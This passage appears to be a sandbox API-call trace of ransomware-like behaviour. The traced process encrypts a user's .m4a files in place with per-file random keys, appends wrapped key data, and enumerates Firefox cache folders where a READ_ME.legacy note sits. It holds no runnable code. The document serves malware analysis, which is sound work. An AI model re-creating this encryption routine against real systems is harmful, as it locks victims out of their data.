ReadFile (in: hFile=0x1b78, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x13c9c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x13c9c, lpOverlapped=0x0) returned 1 [0182.107] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=-81052, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.107] WriteFile (in: hFile=0x1b78, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x13c9c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13c9c, lpOverlapped=0x0) returned 1 [0182.107] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13c9c [0182.107] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.107] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.108] WriteFile (in: hFile=0x1b78, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.108] WriteFile (in: hFile=0x1b78, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.108] CloseHandle (hObject=0x1b78) returned 1 [0182.109] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0182.109] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0182.109] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\MPBkPH.m4a", dwFileAttributes=0x80) returned 1 [0182.109] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\MPBkPH.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\0pd24csq3_ufoerj\\4bxh--t\\7eko9q-8ckl11pmn\\tezlud\\mpbkph.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b78 [0182.110] GetFileSizeEx (in: hFile=0x1b78, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15308) returned 1 [0182.110] ReadFile (in: hFile=0x1b78, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x3bcc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x3bcc, lpOverlapped=0x0) returned 1 [0182.110] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=-15308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.111] WriteFile (in: hFile=0x1b78, lpBuffer=0x30dac10*, nNumberOfBytesToWrite=0x3bcc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dac10*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3bcc, lpOverlapped=0x0) returned 1 [0182.111] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3bcc [0182.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.111] WriteFile (in: hFile=0x1b78, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.111] WriteFile (in: hFile=0x1b78, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.111] CloseHandle (hObject=0x1b78) returned 1 [0182.113] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0182.113] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0182.113] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\EQJbkQ.m4a", dwFileAttributes=0x80) returned 1 [0182.113] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\EQJbkQ.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\0pd24csq3_ufoerj\\4bxh--t\\7eko9q-8ckl11pmn\\tezlud\\eqjbkq.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b78 [0182.113] GetFileSizeEx (in: hFile=0x1b78, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=32015) returned 1 [0182.113] ReadFile (in: hFile=0x1b78, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x7d0f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x7d0f, lpOverlapped=0x0) returned 1 [0182.114] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=-32015, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.114] WriteFile (in: hFile=0x1b78, lpBuffer=0x30ded50*, nNumberOfBytesToWrite=0x7d0f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ded50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7d0f, lpOverlapped=0x0) returned 1 [0182.114] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7d0f [0182.114] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.114] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.115] WriteFile (in: hFile=0x1b78, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.115] WriteFile (in: hFile=0x1b78, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.115] CloseHandle (hObject=0x1b78) returned 1 [0182.120] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\doomed\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x40a99643, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xfa3e040b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d43b0 [0182.120] FindNextFileW (in: hFindFile=0x30d43b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x40a99643, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xfa3e040b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.120] FindNextFileW (in: hFindFile=0x30d43b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3e040b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfa3e040b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfa3e040b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0182.120] FindNextFileW (in: hFindFile=0x30d43b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3e040b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfa3e040b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfa3e040b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0182.121] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa90c92ac, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xfa61c67b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4170 [0182.144] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa90c92ac, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xfa61c67b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.145] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a491c9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4a491c9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcafbc1b0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4c11, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="013C507F8C6DC51CF18CC10ABECAC5868407766A", cAlternateFileName="013C50~1")) returned 1 [0182.145] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xef4, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="017020BFB3471E12709C39371D58E8123BCF28FB", cAlternateFileName="017020~1")) returned 1 [0182.145] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6966619, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6966619, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6982762, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe3d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", cAlternateFileName="019B3F~1")) returned 1 [0182.145] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xea3, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="020A4F3A0F6F161908D148AEB21A124C4BADFD41", cAlternateFileName="020A4F~1")) returned 1 [0182.145] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e6aa7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc47e6aa7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc480cd0c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x11f4, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", cAlternateFileName="055BC3~1")) returned 1 [0182.145] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b38178, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="05C341B704CB1060501AA0B43D83F975ECBB85F2", cAlternateFileName="05C341~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x48c9ac43, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="062AD3657B516BAF21B6D366104D405078541BA6", cAlternateFileName="062AD3~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1165, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", cAlternateFileName="062B04~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359ce54, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x359ce54, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x35aa535, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0718303207D0267173EECAE48EF1BA3EE0CCAF92", cAlternateFileName="071830~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1136, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="086D90F358405509D6EAA39BC422393A31BDE8CA", cAlternateFileName="086D90~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c8f7d5, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45c8f7d5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45c8f7d5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3736, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="097326CA201DC4FEED987C8C534C04EF1E14A3DC", cAlternateFileName="097326~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4000ddb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4000ddb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6959a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1d63, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", cAlternateFileName="0A55BC~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fefdeb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42fefdeb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x747, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0A774848D5BE9E32A6789642784FD4DAFCD580F5", cAlternateFileName="0A7748~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1167, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", cAlternateFileName="0AC9F7~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x428b2b53, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x428b2b53, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x428b2b53, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x158e1, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0B59963DF9BAE2D2E93964FC3500B450212202AA", cAlternateFileName="0B5996~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1164, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", cAlternateFileName="0C77EE~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xefa, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", cAlternateFileName="0C8C62~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4407a35c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4407a35c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4407a35c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1826, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0DE853B708EF02DB762AC1E3D2424A69E631431C", cAlternateFileName="0DE853~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0E0AA719737925C65439EF8199433AD2A3826055", cAlternateFileName="0E0AA7~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e74078, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4e74078, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb777d4f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", cAlternateFileName="0EDDF8~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898c851, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x898c851, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x898dba9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4812, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", cAlternateFileName="0FEBD8~1")) returned 1 [0182.146] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef43c89, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef43c89, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x450ca7ce, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x3ca8, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="108573E2B07FF25FFCAFE37F58D375561A47424D", cAlternateFileName="108573~1")) returned 1 [0182.147] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b11f48, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45b11f48, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", cAlternateFileName="1380A3~1")) returned 1 [0182.148] FindNextFileW (in: hFindFile=0x30d4170, 